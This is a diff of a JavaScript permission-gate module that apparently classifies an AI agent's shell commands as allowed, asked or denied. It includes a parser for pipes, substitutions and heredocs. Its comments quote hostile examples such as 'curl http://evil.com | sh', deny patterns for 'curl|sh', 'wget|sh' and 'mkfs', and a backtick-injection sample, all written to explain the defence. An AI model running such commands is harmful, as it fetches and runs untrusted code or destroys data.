+ * Source anchor: `tasks.md` TSK-003-02 (classifySegment contract),
+ * `data-model.md:347-352` (cascade algorithm), `data-model.md:60-64` (cascade semantics),
+ * `constitution.md §1.5` (cascade direction).
+ *
+ * @requires mode !== "off" — the Off-mode bypass lives above this resolver in the bash tool
+ *           handler (ISS-005); `classifySegment` is not invoked with `mode === "off"` and the
+ *           `PermissionLevel` type excludes `"off"` from its union.
+ */
+export function classifySegment(segment, mode, rules) {
+    const levelRules = rules.rules[mode];
+    const modeIdx = VALID_MODES.indexOf(mode);
+    const explicit = evaluateExplicit(segment, mode, levelRules);
+    if (explicit !== null)
+        return explicit;
+    const cascadeAllow = walkCascadeDownForAllow(segment, rules, modeIdx);
+    if (cascadeAllow !== null)
+        return cascadeAllow;
+    const cascadeDeny = walkCascadeUpForDeny(segment, rules, modeIdx);
+    if (cascadeDeny !== null)
+        return cascadeDeny;
+    return { decision: "ask", reason: "no rule matched at any cascade level" };
+}
+/**
+ * Build the union deny-list used by {@link classifyCommand}'s ALWAYS_DENY pre-check. Spans all
+ * three levels' `deny` arrays in fixed insertion order (low → medium → high) and deduplicates
+ * via `Set` so the same pattern defined at multiple levels does not inflate the comparison list.
+ * `Set` preserves insertion order so the matcher is deterministic — a pattern at low is checked
+ * before the same pattern at medium before the same pattern at high.
+ *
+ * Source anchor: `constitution §1.4 v0.4.0` (deny-by-default safety floor — union of all levels).
+ */
+function unionDenyPatterns(rules) {
+    return [
+        ...new Set([...rules.rules.low.deny, ...rules.rules.medium.deny, ...rules.rules.high.deny]),
+    ];
+}
+/**
+ * Loose matcher used exclusively by {@link classifyCommand}'s ALWAYS_DENY pre-check. Differs from
+ * {@link matchGlob} in two important ways so cross-segment attack patterns like `curl|sh` are
+ * caught before per-segment evaluation:
+ *
+ *  1. **Substring semantics** — the pattern matches anywhere in the input rather than requiring
+ *     a full-string anchored match. This is what allows `mkfs` (a literal pattern with no
+ *     wildcards) to match `mkfs /dev/sda1` (the input has trailing arguments after `mkfs`).
+ *     Without substring semantics, a literal `mkfs` pattern would only match the exact string
+ *     `mkfs`, missing every realistic invocation. The per-segment matcher in
+ *     {@link classifySegment} retains anchored semantics for cascade-correctness — this looser
+ *     matcher is reserved for the cross-segment safety floor.
+ *  2. **`|` is treated as a wildcard** — the `|` character in a pattern is interpreted as
+ *     `.*` (matching any run of characters) rather than as a literal pipe. This is what allows
+ *     the pattern `curl|sh` to match the input `curl http://evil.com | sh`: the `|` in the
+ *     pattern consumes ` http://evil.com ` and the literals `curl` and `sh` bookend the
+ *     cross-segment pipe. `data-model.md:53` says literal `|` is matched as a literal character
+ *     for per-segment rules; this is the per-segment contract. The ALWAYS_DENY pre-check
+ *     deliberately uses the looser interpretation because the cross-segment attack patterns
+ *     (`curl|sh`, `wget|sh`) are written with `|` as a semantic "piped-to" marker, not as a
+ *     literal pipe character the user expects to match verbatim.
+ *
+ * Algorithm (mirrors {@link globToRegex} but with the two differences above):
+ *  1. Escape every regex metacharacter in `pattern` EXCEPT `*` and `|`.
+ *  2. Substitute `*` with `.*` and `|` with `.*`.
+ *  3. Wrap with `.*` on both sides and anchor with `^...$` — producing a substring match.
+ *
+ * Exported for testability so the loose semantics can be locked by future tests if needed.
+ */
+export function matchAlwaysDenyPattern(pattern, input) {
+    const escaped = pattern.replace(/[.+?^${}()|[\]\\]/g, "\\$&");
+    const wildcards = escaped.replace(/\\\*/g, ".*").replace(/\\\|/g, ".*");
+    return new RegExp(`^.*${wildcards}.*$`).test(input);
+}
+/**
+ * Walk the union deny-list top-to-bottom and return the first pattern that matches `command`
+ * via {@link matchAlwaysDenyPattern} (the loose substring matcher). Mirrors
+ * {@link matchSegmentAgainstList}'s iteration order so the ALWAYS_DENY pre-check is
+ * deterministic — patterns at low are checked before patterns at medium, then high.
+ *
+ * Returns `{ matched: false }` when no pattern matches (or when the union is empty).
+ */
+function matchCommandAgainstUnionDeny(command, union) {
+    for (const pattern of union) {
+        if (matchAlwaysDenyPattern(pattern, command)) {
+            return { matched: true, pattern };
+        }
+    }
+    return { matched: false };
+}
+/**
+ * Top-level command classification pipeline. Implements FR-003 (Command Classifier) end-to-end:
+ *
+ *  1. ALWAYS_DENY pre-check — union of all three levels' `deny` lists matched against the FULL
+ *     command string. Catches cross-segment attack patterns like `curl|sh` that no per-segment
+ *     matcher could detect (per-segment evaluation would split `curl ... | sh` into
+ *     `["curl ...", "sh"]`, neither of which matches the literal `curl|sh`). When matched,
+ *     returns `{ decision: "deny", reason: "always-deny pattern: '<pattern>'" }` immediately —
+ *     no segment evaluation, no cascade walk.
+ *  2. Split — `splitShellSegments(command)` (ISS-002 parser), filtered to drop empty/whitespace
+ *     segments. If no segments remain (empty command, whitespace-only, operators-only with no
+ *     operands), return `{ decision: "ask", reason: "empty command" }`.
+ *  3. Per-segment classification — each surviving segment is classified via {@link classifySegment}.
+ *  4. Combined precedence — `deny > ask > allow` across segments per `architecture.md:46-47` and
+ *     `data-model.md:162`. The combined reason concatenates per-segment reasons with
+ *     `"segment N: <reason>; "` formatting so FLOW-07's prompt preview can attribute the decision
+ *     to the offending segment(s).
+ *
+ * Source anchor: `tasks.md` TSK-003-03 (`classifyCommand` pipeline), `data-model.md:397` (the
+ * classifyCommand block diagram), `architecture.md:46-47` (combined `deny > ask > allow`
+ * precedence), `constitution §1.4 v0.4.0` (ALWAYS_DENY union safety floor),
+ * `constitution §1.5` (cascade direction).
+ *
+ * @requires mode !== "off" — the Off-mode bypass lives above this resolver in the bash tool
+ *           handler (ISS-005); `classifyCommand` is not invoked with `mode === "off"` and the
+ *           `PermissionLevel` type excludes `"off"` from its union.
+ */
+export function classifyCommand(command, mode, rules) {
+    // (a) ALWAYS_DENY pre-check — full-string match against the union of all deny lists.
+    // Matches cross-segment attack patterns that per-segment evaluation would miss. Uses the
+    // loose substring-with-pipe-as-wildcard matcher (`matchCommandAgainstUnionDeny`) so a
+    // pattern like `curl|sh` catches `curl http://evil.com | sh` even though per-segment
+    // evaluation would split that into `["curl http://evil.com", "sh"]` and miss the
+    // literal pattern.
+    const union = unionDenyPatterns(rules);
+    const alwaysMatch = matchCommandAgainstUnionDeny(command, union);
+    if (alwaysMatch.matched && alwaysMatch.pattern !== undefined) {
+        return {
+            decision: "deny",
+            reason: `always-deny pattern: '${alwaysMatch.pattern}'`,
+        };
+    }
+    // (b) Split — segment the command and drop any empty/whitespace-only pieces the parser emits.
+    const rawSegments = splitShellSegments(command);
+    const segments = rawSegments.filter((s) => s.trim() !== "");
+    if (segments.length === 0) {
+        return { decision: "ask", reason: "empty command" };
+    }
+    // (c) Per-segment classification — delegate to classifySegment for each surviving segment.
+    const perSegment = segments.map((seg) => classifySegment(seg, mode, rules));
+    // (d) Combined precedence — deny > ask > allow. The first segment with each decision wins,
+    // and the combined reason concatenates per-segment reasons so FLOW-07's prompt preview and
+    // FLOW-08's audit trail can attribute the decision to the offending segment(s).
+    const combinedReason = perSegment.map((d, idx) => `segment ${idx + 1}: ${d.reason}`).join("; ");
+    const denySegment = perSegment.find((d) => d.decision === "deny");
+    if (denySegment !== undefined) {
+        return { decision: "deny", reason: combinedReason };
+    }
+    const askSegment = perSegment.find((d) => d.decision === "ask");
+    if (askSegment !== undefined) {
+        return { decision: "ask", reason: combinedReason };
+    }
+    return { decision: "allow", reason: combinedReason };
+}
+/**
+ * Try to extract a backtick command substitution (`...`) at position `i`. Returns `null` when
+ * the position is not a backtick, when inside single quotes (backticks are opaque there), or
+ * when the substitution is unterminated. Backticks ARE active inside double quotes per shell semantics.
+ *
+ * On success returns `{ inner, endIndex, wrapper }`:
+ *   - `inner` is the substitution body, suitable for recursive splitShellSegments.
+ *   - `endIndex` is where the caller should resume (one past the closing backtick).
+ *   - `wrapper` is the input buffer prepared for commit.
+ */
+function tryExtractBacktick(input, i, buffer, lastRedirectOp, inSingle) {
+    // Backticks are opaque inside single quotes
+    if (inSingle)
+        return null;
+    if (input[i] !== "`")
+        return null;
+    const closeTickIndex = findMatchingBacktick(input, i);
+    if (closeTickIndex === -1)
+        return null;
+    const inner = input.slice(i + 1, closeTickIndex);
+    const wrapper = lastRedirectOp === null ? buffer : stripTrailingRedirect(buffer, lastRedirectOp);
+    return { inner, endIndex: closeTickIndex + 1, wrapper };
+}
+/**
+ * Handle a backtick found inside an active double-quoted region. Splits the buffer at the
+ * opening double-quote boundary (committing the leading prefix as its own segment), inlines
+ * the substitution content into the buffer, and sets the `dquoteBufferStart` sentinel to `-1`
+ * so the closing double-quote at the end of input is dropped (already consumed by the split).
+ *
+ * The return shape mirrors the loop's mutable parser state so the caller can re-bind in one
+ * statement. Returns `null` when the backtick is unterminated — the caller falls through to
+ * {@link tryExtractBacktick} which will likewise return null on an unterminated backtick, so
+ * the character is preserved verbatim per the conservative-degradation contract.
+ *
+ * Shell-semantics rationale: backticks are active command substitution inside double quotes
+ * (unlike single quotes). The split prefix commits, e.g., `echo` from `echo "a`whoami`b"` so
+ * the LLM-facing allowlist segments an injected substitution away from its enclosing command.
+ */
+function handleBacktickInDoubleQuotes(input, i, buffer, dquoteBufferStart, segments) {
+    // Split at the opening `"` — `dquoteBufferStart` is the position AFTER the `"` was appended,
+    // so the prefix is `current.slice(0, dquoteBufferStart - 1)` (everything up to and including
+    // the `"`) and the inside-quotes remainder starts at `dquoteBufferStart`.
+    const prefix = buffer.slice(0, dquoteBufferStart - 1);
+    const insideQuotes = buffer.slice(dquoteBufferStart);
+    commitSegment(prefix, segments);
+    const closeTickIndex = findMatchingBacktick(input, i);
+    if (closeTickIndex === -1) {
+        return null;
+    }
+    const inner = input.slice(i + 1, closeTickIndex);
+    return {
+        current: insideQuotes + inner,
+        dquoteBufferStart: -1,
+        i: closeTickIndex + 1,
+    };
+}
+/**
+ * Try to detect a process substitution token `>(...)` or `<(...)` at position `i`.
+ * Process substitutions are shell syntax for FIFO-based command substitution:
+ * `cmd < <(dangerous)` → the `<` is the redirect operator and `<(dangerous)` is the target.
+ * The `<` or `>` before `(` is part of the syntax, not a standalone redirect operator.
+ * Returns `null` when not at a process substitution, inside quotes, or unterminated.
+ */
+function tryMatchProcessSubstitution(input, i, buffer, lastRedirectOp, inSingle, inDouble) {
+    if (inSingle || inDouble)
+        return null;
+    if (i + 1 >= input.length)
+        return null;
+    const c = input[i];
+    if (c !== ">" && c !== "<")
+        return null;
+    if (input[i + 1] !== "(")
+        return null;
+    const openParenIndex = i + 1;
+    const closeParenIndex = findMatchingParen(input, openParenIndex);
+    if (closeParenIndex === -1)
+        return null;
+    const inner = input.slice(openParenIndex + 1, closeParenIndex);
+    const wrapper = lastRedirectOp === null ? buffer : stripTrailingRedirect(buffer, lastRedirectOp);
+    return { inner, endIndex: closeParenIndex + 1, wrapper };
+}
+/**
+ * Consume a single redirect target starting from `start` (the first character of the target
+ * path). The target is any run of non-whitespace, non-split-operator characters — the shell
+ * redirect target is a file path or word, not a shell command, so we consume it flatly
+ * without parsing subshells or substitutions inside it.
+ * Returns `i` positioned at the first character after the target.
+ */
+function consumeRedirectTarget(input, start) {
+    let i = start;
+    while (i < input.length &&
+        input[i] !== " " &&
+        input[i] !== "	" &&
+        input[i] !== "\n" &&
+        input[i] !== "|" &&
+        input[i] !== ";" &&
+        !(input[i] === "&" && i + 1 < input.length && input[i + 1] === "&")) {
+        i++;
+    }
+    return i;
+}
+/**
+ * Consume trailing redirect operators and their targets starting from `start`.
+ * Used after process substitution extraction to drop trailing redirects
+ * (e.g., `tee >(cat) > /tmp/out` drops the trailing `> /tmp/out`).
+ * Stops at the next split operator or end of input.
+ */
+function consumeTrailingRedirects(input, start) {
+    let i = start;
+    while (i < input.length) {
+        i = skipOperatorWhitespace(input, i);
+        if (i >= input.length)
+            break;
+        const c = input[i];
+        // Must be a redirect operator
+        if (c !== ">" && c !== "<")
+            break;
+        i++; // consume > or <
+        if (c === ">" && i < input.length && input[i] === ">")
+            i++; // >>
+        i = skipOperatorWhitespace(input, i);
+        if (i >= input.length)
+            break;
+        i = consumeRedirectTarget(input, i);
+    }
+    return i;
+}
+export function splitShellSegments(cmd) {
+    if (cmd === "") {
+        return [];
+    }
+    const segments = [];
+    let current = "";
+    let inSingle = false;
+    let inDouble = false;
+    let escaped = false;
+    // Double-quote buffer start index — tracks where the opening `"` was appended
+    // in `current`. Used by backtick-inside-double-quotes handling to split the
+    // buffer at the quote boundary and inline the backtick content.
+    // - `null` = not currently inside a tracked double-quote context
+    // - a number = position in `current` after the opening `"`
+    // - `-1` = sentinel indicating we already split on a backtick inside double quotes
+    let dquoteBufferStart = null;
+    let i = 0;
+    // Heredoc state — `pendingDelimiter` is armed when an opener is seen and activates body mode on
+    // the next `\n`; `activeDelimiter` (when set) means we are inside a body and the walker delegates
+    // to {@link consumeHeredocBody} until the delimiter is matched on its own line.
+    let pendingDelimiter = null;
+    let activeDelimiter = null;
+    // Subshell-redirect state — `lastRedirectOp` holds the most recent unquoted redirect operator
+    // (`<`, `>`, `>>`) seen since the last non-whitespace, non-redirect character. When a `$(`
+    // substitution follows such an operator (across optional whitespace), the substitution branch in
+    // this loop (delegated to {@link tryExtractCommandSubstitution}) recognizes it as a subshell
+    // redirect and emits the wrapper + inner content as separate segments (AC-002-04). The tracker
+    // is cleared on any non-whitespace character that is not itself a redirect operator — delegated
+    // to {@link appendChar} — so `cmd < file.txt $(more)` correctly treats the `$(more)` as an
+    // INLINE substitution (no recent redirect) rather than a subshell redirect.
+    let lastRedirectOp = null;
+    while (i < cmd.length) {
+        const c = cmd[i];
+        // Heredoc body mode — body is literal text, no quote/escape/operator processing. The body
+        // consumer walks until the delimiter line is matched (resuming at the surrounding newline)
+        // or EOF is reached (preserving the partial trailing line).
+        if (activeDelimiter !== null) {
+            const result = consumeHeredocBody(cmd, i, activeDelimiter);
+            current += result.body;
+            i = result.endIndex;
+            if (result.closed) {
+                activeDelimiter = null;
+            }
+            continue;
+        }
+        // Pending heredoc opener — armed on the first `\n` after `<<DELIM`. Until the newline arrives,
+        // normal parsing (including `&&` splits) applies to whatever follows the opener on the same
+        // line, matching AC-002-03: `cat <<EOF && echo done` → `["cat <<EOF", "echo done"]`.
+        if (pendingDelimiter !== null && c === "\n") {
+            current += "\n";
+            activeDelimiter = pendingDelimiter;
+            pendingDelimiter = null;
+            i += 1;
+            continue;
+        }
+        // Escape branch — the previous character was a backslash outside quotes; consume this char
+        // literally and strip the backslash itself. Operators reached via this path do not split.
+        if (escaped) {
+            current += c;
+            escaped = false;
+            i += 1;
+            continue;
+        }
+        // Backslash escape trigger — only active outside both quote contexts. Inside single quotes
+        // backslashes are literal (per shell semantics); inside double quotes they retain their
+        // special meaning for `$`, `"`, `\`, newline but not for our operators — keeping the trigger
+        // outside quotes is the conservative simplification for Phase 2.
+        if (!inSingle && !inDouble && c === "\\") {
+            escaped = true;
+            i += 1;
+            continue;
+        }
+        // Single-quote toggle — a `'` only toggles `inSingle` when not currently inside double quotes.
+        // Single quotes inside double quotes are literal; double quotes inside single quotes are
+        // literal (the next branch is gated on `!inSingle`).
+        if (!inDouble && c === "'") {
+            inSingle = !inSingle;
+            current += c;
+            i += 1;
+            continue;
+        }
+        // Double-quote toggle — symmetric to the single-quote branch. When `inDouble` transitions to true,
+        // track the buffer position for backtick-inside-double-quotes handling. When transitioning to false
+        // after a backtick split (dquoteBufferStart === -1), don't append the closing `"` to buffer.
+        if (!inSingle && c === '"') {
+            if (!inDouble) {
+                inDouble = true;
+                current += c;
+                dquoteBufferStart = current.length; // save position after opening quote
+            }
+            else if (dquoteBufferStart === -1) {
+                // Closing " after backtick split — don't append the quote to buffer
+                inDouble = false;
+                dquoteBufferStart = null;
+            }
+            else {
+                inDouble = false;
+                current += c;
+                dquoteBufferStart = null;
+            }
+            i += 1;
+            continue;
+        }
+        // Backtick substitution detection — `...`
+        // Backticks are command substitution even inside double quotes per shell semantics.
+        // Inside single quotes they are opaque (gated by !inSingle).
+        if (c === "`" && !inSingle) {
+            // Inside-double-quotes branch is its own helper so the main loop's conditional depth
+            // stays flat (the per-quote-class dispatch keeps each variant to one extraction path).
+            if (inDouble && dquoteBufferStart !== null && dquoteBufferStart !== -1) {
+                const dqResult = handleBacktickInDoubleQuotes(cmd, i, current, dquoteBufferStart, segments);
+                if (dqResult !== null) {
+                    ({ current, dquoteBufferStart, i } = dqResult);
+                    continue;
+                }
+                // Unterminated backtick inside double quotes — fall through to default backtick
+                // extraction (which will also return null, so the backtick is preserved as a literal
+                // character per the conservative-degradation contract).
+            }
+            // Normal backtick extraction (outside double quotes — regular segment split)
+            // Also reached when a backtick-inside-double-quotes is unterminated (fall-through from
+            // the block above — in that case tryExtractBacktick returns null and the backtick
+            // is preserved as a literal character per the conservative-degradation contract).
+            const bt = tryExtractBacktick(cmd, i, current, lastRedirectOp, inSingle);
+            if (bt !== null) {
+                commitSubstitution(bt.wrapper, bt.inner, segments);
+                current = "";
+                lastRedirectOp = null;
+                i = bt.endIndex;
+                continue;
+            }
+        }
+        // Heredoc opener detection — `<<DELIM` outside quotes, distinct from `<<<` herestring. The
+        // opener is appended verbatim and arms `pendingDelimiter` for activation on the next `\n`.
+        const heredocOpener = tryMatchHeredocOpener(cmd, i, inSingle, inDouble);
+        if (heredocOpener !== null) {
+            current += `<<${heredocOpener.delimiter}`;
+            pendingDelimiter = heredocOpener.delimiter;
+            i += heredocOpener.length;
+            continue;
+        }
+        // Command substitution `$(...)` — AC-002-04 subshell-redirect fix + inline substitution.
+        // Delegated to {@link tryExtractCommandSubstitution} which handles quote gating, finding the
+        // matching `)`, and stripping the wrapper's trailing redirect operator. When that helper
+        // returns null (not a subshell opener, inside quotes, or unterminated `$(`) the loop falls
+        // through to the redirect op / operator / default branches and the `$` is appended literally.
+        const subst = tryExtractCommandSubstitution(cmd, i, current, lastRedirectOp, inSingle, inDouble);
+        if (subst !== null) {
+            commitSubstitution(subst.wrapper, subst.inner, segments);
+            current = "";
+            lastRedirectOp = null;
+            i = subst.endIndex;
+            // Consume trailing redirects after subshell extraction (e.g., `cmd < $(dangerous) > /tmp/out`
+            // drops the trailing `> /tmp/out`)
+            i = consumeTrailingRedirects(cmd, i);
+            continue;
+        }
+        // Process substitution detection — `>(...)` and `<(...)`
+        // Detected AFTER `$()` but BEFORE the redirect operator check so the `>` or `<`
+        // is consumed as part of the process substitution syntax, not as a standalone redirect.
+        const procSubst = tryMatchProcessSubstitution(cmd, i, current, lastRedirectOp, inSingle, inDouble);
+        if (procSubst !== null) {
+            commitSubstitution(procSubst.wrapper, procSubst.inner, segments);
+            current = "";
+            lastRedirectOp = null;
+            i = procSubst.endIndex;
+            // Consume trailing redirects after process substitution (e.g., `tee >(cat) > /tmp/out`
+            // drops the trailing `> /tmp/out`)
+            i = consumeTrailingRedirects(cmd, i);
+            continue;
+        }
+        // Redirect operator `<`, `>`, `>>` outside quotes — delegated to {@link tryAppendRedirectOp}
+        // so the `>>` precedence and state-tracking mutations live in one focused helper. The returned
+        // `lastRedirectOp` is what the substitution branch above reads on the next non-whitespace
+        // iteration to recognize a subshell redirect. Heredoc opener detection (`<<`, `<<<`) runs above
+        // this branch, so those tokens are NOT routed here.
+        const redirect = tryAppendRedirectOp(cmd, i, current, inSingle, inDouble);
+        if (redirect !== null) {
+            current = redirect.buffer;
+            lastRedirectOp = redirect.lastRedirectOp;
+            i = redirect.endIndex;
+            continue;
+        }
+        // Operator split — only when fully outside quotes. `tryMatchOperator` returns null inside
+        // quotes so we never reach the flush branch with `inSingle || inDouble` true. The pending
+        // heredoc delimiter is also cleared here so a `<<EOF` on one segment does not leak into the
+        // next segment's body mode (each segment is its own command surface for FLOW-08/09).
+        const op = tryMatchOperator(cmd, i, inSingle, inDouble);
+        if (op !== null) {
+            commitSegment(current, segments);
+            current = "";
+            pendingDelimiter = null;
+            i += op.length;
+            i = skipOperatorWhitespace(cmd, i);
+            continue;
+        }
+        // Default char append — delegated to {@link appendChar} which encapsulates the
+        // whitespace-preserves-redirect-op, other-char-resets rule.
+        const appended = appendChar(c, current, lastRedirectOp);
+        current = appended.buffer;
+        lastRedirectOp = appended.lastRedirectOp;
+        i += 1;
+    }
+    commitSegment(current, segments);
+    return segments;
+}
+/**
+ * User-visible notification rendered when the classifier yields `ask` but no UI is
+ * available (Constitution §1.6 headless-safety floor; FLOW-11). Centralized so the
+ * literal is the single source of truth for both the gate-level and prompt-level
+ * short-circuits and the test assertion that pins it via
+ * `message.includes("BLOCKED (headless)")` in `test/prompt.test.ts`.
+ */
+const BLOCKED_HEADLESS_MESSAGE = "BLOCKED (headless)";
+/**
+ * Metacharacter set that disqualifies a `/...` or `~/...` entry from being treated as a bare file
+ * path. A bare path is a leading-`/` or leading-`~` token with no shell-operator punctuation — a
+ * developer pointing at `/tmp/output.txt` is unambiguously identifying a file, but `/foo|bar` is a
+ * pipe construct and `/foo bar` is two arguments, not a single path. Mirrors
+ * `data-model.md:177-228` (bare-path semantics) and `architecture.md:152-163` ("a bare path is one
+ * that points at a file ... not a command"). Includes backtick so `` /foo`date` `` (which would
+ * trigger subshell substitution at parse time) does not escape the filter.
+ */
+const BARE_PATH_METACHAR_RE = /[|&;<>()$`\\\s'"*?{}\[\]!#]/;
+/**
+ * True when `entry` is a leading-`/` or leading-`~` token with no shell metacharacters — i.e. the
+ * candidate is a pure file-system path rather than a compound command fragment. Used by
+ * {@link getAllowListEntries} to drop `/tmp/out` / `~/notes.md`-style entries from the prompt
+ * preview and the on-disk allowlist so a developer cannot accidentally approve only the file
+ * portion of `cat /tmp/output.txt`.
+ *
+ * Order of checks matters: the empty-string short-circuit returns `false` BEFORE the regex
+ * matches, so an empty entry never collides with the `/^[/~].*$/` anchor; the leading-`/` or
+ * leading-`~` check precedes the metachar scan so relative paths like `./foo.txt` or `foo/bar.txt`
+ * short-circuit to `false` without scanning for metachars.
+ *
+ * Source anchor: `architecture.md:152-163`, `data-model.md:177-228`.
+ */
+export function isBarePath(entry) {
+    if (entry.length === 0)
+        return false;
+    if (!/^[/~].*$/.test(entry))
+        return false;
+    if (BARE_PATH_METACHAR_RE.test(entry))
+        return false;
+    return true;
+}
+/**
+ * Regex matching a leading shell environment-variable assignment (`VAR=value`, `VAR="value"`,
+ * etc.). The identifier must be a valid shell identifier (`[a-zA-Z_][a-zA-Z0-9_]*`) immediately
+ * followed by `=`. Used by {@link stripLeadingEnvAssignments} to strip transient environment
+ * overrides from commands before they enter the permission gate so the classifier, rules,
+ * and prompt preview work on the actual executable command.
+ *
+ * Only matches at segment start — `WORD=WORD` in the middle of a command is not identified
+ * as an assignment (shell semantics: assignments are only recognized before the command word).
+ *
+ * Source anchor: `architecture.md:152-163` (prompt preview composed of allowlist entries).
+ */
+const ENV_ASSIGN_RE = /^[a-zA-Z_][a-zA-Z0-9_]*=/;
+/**
+ * Returns `true` when `segment` looks like a leading shell environment-variable assignment
+ * (`VAR=value`). Identifiers must start with `[a-zA-Z_]` and contain `[a-zA-Z0-9_]*` before
+ * the `=` — matching POSIX-shell env-assignment naming rules. The value portion is any string
+ * up to the next shell-operator boundary.
+ *
+ * This is a **syntactic** check; it does not validate that the value is well-formed (quoted,
+ * escaped, etc.) — the shell segment parser has already resolved quoting before we see the
+ * token.
+ */
+export function isEnvAssignment(segment) {
+    return ENV_ASSIGN_RE.test(segment);
+}
+/**
+ * Lightweight whitespace-aware word splitter that respects single and double quotes.
+ * Splits on whitespace outside quotes, returning the individual words. Used by
+ * {@link stripLeadingEnvAssignments} to identify leading env-var assignments at the
+ * word level — unlike {@link splitShellSegments} which only splits on shell operators
+ * (`&&`, `|`, `;`), not whitespace.
+ *
+ * Does NOT handle escaping, backtick substitution, or shell operators beyond quoting.
+ * This is intentional — we only need to distinguish leading `VAR=value` words from
+ * command words, not parse the full shell grammar.
+ */
+function splitShellWords(input) {
+    const words = [];
+    let current = "";
+    let inSingle = false;
+    let inDouble = false;
+    for (const c of input) {
+        if (c === "'" && !inDouble) {
+            inSingle = !inSingle;
+            current += c;
+        }
+        else if (c === '"' && !inSingle) {
+            inDouble = !inDouble;
+            current += c;
+        }
+        else if (/\s/.test(c) && !inSingle && !inDouble) {
+            if (current.length > 0) {
+                words.push(current);
+                current = "";
+            }
+        }
+        else {
+            current += c;
+        }
+    }
+    if (current.length > 0) {
+        words.push(current);
+    }
+    return words;
+}
+/**
+ * Strip one or more leading shell environment-variable assignments (`VAR=value`) from
+ * `command`. Only strips assignments that appear before the first non-assignment word,
+ * matching shell semantics where `VAR=val cmd` sets an env var for the command but
+ * `cmd VAR=val` passes `VAR=val` as a literal argument.
+ *
+ * Uses a word-level splitter ({@link splitShellWords}) that respects quotes, then drops
+ * leading words matching {@link isEnvAssignment}. The remaining command is reconstructed
+ * by joining the surviving words.
+ *
+ * **Contract:**
+ *   - `stripLeadingEnvAssignments("PLAN_TARGET=/tmp/foo ~/cmd.sh arg")`
+ *     → `"~/cmd.sh arg"`
+ *   - `stripLeadingEnvAssignments("A=1 B=2 echo hi")` → `"echo hi"`
+ *   - `stripLeadingEnvAssignments("echo A=1 B=2")` → `"echo A=1 B=2"`
+ *     (no leading assignments, unchanged)
+ *   - `stripLeadingEnvAssignments("")` → `""`
+ *   - `stripLeadingEnvAssignments("VAR='quoted val' cmd")` → `"cmd"`
+ *
+ * Pure function — no I/O, no side effects.
+ */
+export function stripLeadingEnvAssignments(command) {
+    const trimmed = command.trim();
+    if (trimmed.length === 0)
+        return command;
+    const words = splitShellWords(trimmed);
+    if (words.length === 0)
+        return command;
+    // Find the first word that is NOT an env assignment.
+    const firstNonEnv = words.findIndex((w) => !isEnvAssignment(w));
+    // If ALL words are env assignments (no actual command), return the original.
+    if (firstNonEnv === -1)
+        return command;
+    // If the first word is already non-env, return the original unchanged.
+    if (firstNonEnv === 0)
+        return command;
+    return words.slice(firstNonEnv).join(" ");
+}
+/**
+ * Compute the list of entries that "Allow Always" will persist for `command`, in the
+ * AC-008-01-mandated order: **first non-bare segment, then full trimmed command, then remaining
+ * non-bare segments in parser order**. Bare-path entries are filtered by
+ * {@link isBarePath} so `/tmp/out` / `~/notes.md`-style tokens do not escape as standalone
+ * allowlist entries. Duplicates are removed with an order-preserving Set-then-spread pass so the
+ * "full + segments" formula collapses to a single entry when the full command equals the first
+ * segment (e.g. `echo hello` → `["echo hello"]`).
+ *
+ * **Ordering contract** (PRD AC-008-01 verbatim — pinned by `test/allowlist.test.ts`):
+ *   - `getAllowListEntries("npm install express && npm test")`
+ *     → `["npm install express", "npm install express && npm test", "npm test"]`
+ *   - `getAllowListEntries("a && b && c")` → `["a", "a && b && c", "b", "c"]`
+ *   - `getAllowListEntries("cat /tmp/output.txt")` → `["cat /tmp/output.txt"]`
+ *     (bare path inside the segment survives; the bare path as a standalone entry is filtered)
+ *   - `getAllowListEntries("echo hello")` → `["echo hello"]` (single segment, no dedup)
+ *   - `getAllowListEntries("npm test && npm test")` → `["npm test", "npm test && npm test"]`
+ *     (first-occurrence-wins dedup; duplicate segment removed, full compound preserved)
+ *
+ * Contract anchors:
+ *   - `data-model.md:177-228` (FR-008: allowlist entry computation)
+ *   - PRD AC-008-01 / AC-008-02 / AC-008-03 (`["npm install express", "npm install express && npm test", "npm test"]`)
+ *   - `architecture.md:152-163` (prompt preview ordering)
+ *
+ * Pure data transformation — no I/O, no `ExtensionContext`, no `os.homedir()` access. The
+ * empty-input early-return keeps dedup logic clean and matches PRD's "empty command → empty array"
+ * exception strategy.
+ */
+export function getAllowListEntries(command) {
+    const trimmed = command.trim();
+    if (trimmed.length === 0)
+        return [];
+    const rawSegments = splitShellSegments(trimmed).filter((s) => s.length > 0);
+    const segments = rawSegments.filter((s) => !isBarePath(s));
+    // Build the candidate list in AC-008-01 order: first segment, full trimmed, then the rest.
+    // When the parser produced no non-bare segments (e.g. the command IS a bare path), fall back
+    // to the trimmed command itself so the result is `[]` only when EVERY entry — including the
+    // full command — is a bare path. This pins AC-008-02 (`cat /tmp/output.txt` → `["cat /tmp/output.txt"]`)
+    // because the segment contains a space, so `isBarePath("cat /tmp/output.txt") === false`.
+    let candidates;
+    if (segments.length === 0) {
+        candidates = [trimmed];
+    }
+    else {
+        candidates = [segments[0], trimmed, ...segments.slice(1)];
+    }
+    const seen = new Set();
+    const out = [];
+    for (const entry of candidates) {
+        if (entry.length === 0)
+            continue;
+        if (isBarePath(entry))
+            continue;
+        if (seen.has(entry))
+            continue;
+        seen.add(entry);
+        out.push(entry);
+    }
+    return out;
+}
+/**
+ * Module-level ephemeral allow set — survives across `runPermissionGate` invocations within a
+ * single session, cleared by {@link sessionStartHandler} on the next session start so long-lived
+ * Pi/OMP runtimes don't carry stale unlocks across sessions (Constitution §1.6 headless safety
+ * implies per-session isolation; an unlocks-only-in-memory allowlist MUST reset with the session).
+ *
+ * NOT exported as a binding (ESM live bindings are read-only from outside the module). Production
+ * code mutates it from inside the same module only; tests drive it indirectly via
+ * {@link ephemeralAllow} / {@link isEphemeralAllowed}.
+ */
+let ephemeralAllowList = new Set();
+/**
+ * Add `command` to the in-memory ephemeral allow set so the next evaluation that matches the
+ * command returns `{ allow: true }` without consulting the classifier or showing a prompt. Consumed
+ * on the immediate next match (single-use) via {@link isEphemeralAllowed}. Exported so tests can
+ * seed the set directly without going through {@link runPermissionGate}.
+ */
+export function ephemeralAllow(command) {
+    ephemeralAllowList.add(command);
+}
+/**
+ * Returns `true` exactly once for any command currently in the ephemeral allow set, removing the
+ * entry on the consuming read so the rule is single-use per FLOW-08 Happy-Path Step 1 ("Allow
+ * Once: rule held in memory; consumed on next match"). A second call with the same command
+ * returns `false` because the entry was drained on the first match.
+ */
+export function isEphemeralAllowed(command) {
+    if (ephemeralAllowList.has(command)) {
+        ephemeralAllowList.delete(command);
+        return true;
+    }
+    return false;
+}
+/**
